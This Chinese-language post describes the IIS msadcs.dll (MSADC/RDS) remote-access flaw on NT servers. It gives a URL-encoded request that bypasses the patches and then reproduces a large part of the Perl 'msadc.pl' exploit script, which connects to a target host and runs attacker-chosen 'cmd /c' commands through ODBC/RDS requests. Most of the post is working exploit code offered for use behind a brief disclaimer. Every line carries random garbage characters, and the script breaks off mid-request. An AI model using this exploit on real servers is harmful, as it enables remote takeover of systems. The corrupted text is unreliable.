IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
U49#?^? TbY<(wrMZ 涉及程序:
=%}++7# Microsoft NT server
uTemAIp
$u COF_a% 描述:
VOj{&O2c 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ubpVrvu@ 4!%TY4bJ 详细:
HR/"Nwr 如果你没有时间读详细内容的话,就删除:
"o=*f/M c:\Program Files\Common Files\System\Msadc\msadcs.dll
A1mxM5N 有关的安全问题就没有了。
: " ([i" Vz"Ja 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
K,VN?t<h ww_gG5Fc$ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
w4S0aR:yL 关于利用ODBC远程漏洞的描述,请参看:
AS}
FRNIVx UJqDZIvC http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vbDSNm#Yv 8op,;Z7Y 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
ugZ-*e7 http://www.microsoft.com/security/bulletins/MS99-025faq.asp HW{si]~q D2U")g}U 这里不再论述。
zjzW;bo( d Y55Yo5<j/+ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
>O{[w'sWa 7lo`)3mB /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
k3-'!dW< 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
;oKN 8vI#7 &I&:
Ac0^` #将下面这段保存为txt文件,然后: "perl -x 文件名"
9rB,7%@EL 5BL4VGwJ #!perl
Lq&;`)BJ #
$*%ipD}f # MSADC/RDS 'usage' (aka exploit) script
@Gh?|d7bD #
b
V)mO@N~w # by rain.forest.puppy
<$f7&6B #
1YGj^7V)|Z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
IEx`W;V]K # beta test and find errors!
Tn$/9<Q syEWc(5 use Socket; use Getopt::Std;
R3HfE*;Z getopts("e:vd:h:XR", \%args);
#s'UA!) 36NENzK print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
JAjXhk<= !N`$`qAK if (!defined $args{h} && !defined $args{R}) {
G lz0`z print qq~
"Y9PS_u(~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
}`O_ -h <host> = host you want to scan (ip or domain)
}mz6z<pJ_ -d <seconds> = delay between calls, default 1 second
our$Ka31 -X = dump Index Server path table, if available
~f.fg@v`+v -v = verbose
e~Oge -e = external dictionary file for step 5
N W/RQ( ^yO+-A2zC Or a -R will resume a command session
wkO8 Fp)+>oT ~; exit;}
igoXMsifT+ BCw5.@HK* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&8l"Dl if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
n/
\{}9 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
F__(iXxC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9]ga\>v $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(8[et m if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;*3OkNxa3 ?0v(_ v if (!defined $args{R}){ $ret = &has_msadc;
Ez3>}E, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
L(p{>Ykcc H`js1b1n print "Please type the NT commandline you want to run (cmd /c assumed):\n"
d"E@e21 . "cmd /c ";
6;LM1
_ $in=<STDIN>; chomp $in;
@~4Q\^;NX $command="cmd /c " . $in ;
e?Pzhha F,t
,Ja if (defined $args{R}) {&load; exit;}
Fk:yj 4' %gF; A* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'T(7EL3$} &try_btcustmr;
!+&Rn\e%7 b(hnou S print "\nStep 2: Trying to make our own DSN...";
X~aD\%kC7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[d(@lbV0 o\_@4hXf print "\nStep 3: Trying known DSNs...";
!`u &known_dsn;
*rY@(| E]^wsS>= print "\nStep 4: Trying known .mdbs...";
cULASS`, &known_mdb;
6`KAl rH [D]9M"L,vQ if (defined $args{e}){
MwoU>+XB print "\nStep 5: Trying dictionary of DSN names...";
9?VyF'r= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]Iku(<*Ya 9#:b+Amzz print "Sorry Charley...maybe next time?\n";
s Zan.Kc# exit;
;TaR1e0 N;<.::x ##############################################################################
yfBVy8Sm \DP*?D_}? sub sendraw { # ripped and modded from whisker
)c'5M]V sleep($delay); # it's a DoS on the server! At least on mine...
)2@_V % my ($pstr)=@_;
x%acWeV5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*Q?ZJS~ die("Socket problems\n");
CM}1:o<<N if(connect(S,pack "SnA4x8",2,80,$target)){
fl{wF@C6 select(S); $|=1;
ogcEv>0 print $pstr; my @in=<S>;
8PWx>}XPt select(STDOUT); close(S);
=")}wl=s return @in;
<A"T_Rk } else { die("Can't connect...\n"); }}
7Z-'@m ?o@5PL ##############################################################################
A!([k}@=j ;Up'+[Vj'C sub make_header { # make the HTTP request
{-(}p+;z my $msadc=<<EOT
ZI'MfkEZ* POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
MXSN
< User-Agent: ACTIVEDATA
}gk37_}X\I Host: $ip
3Un{Q~6h Content-Length: $clen
d$>TC(E=t Connection: Keep-Alive
<kQ
5sG rJ
LlDKP-( ADCClientVersion:01.06
}GIwYh/ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
XcoV27 mv7><C --!ADM!ROX!YOUR!WORLD!
~9&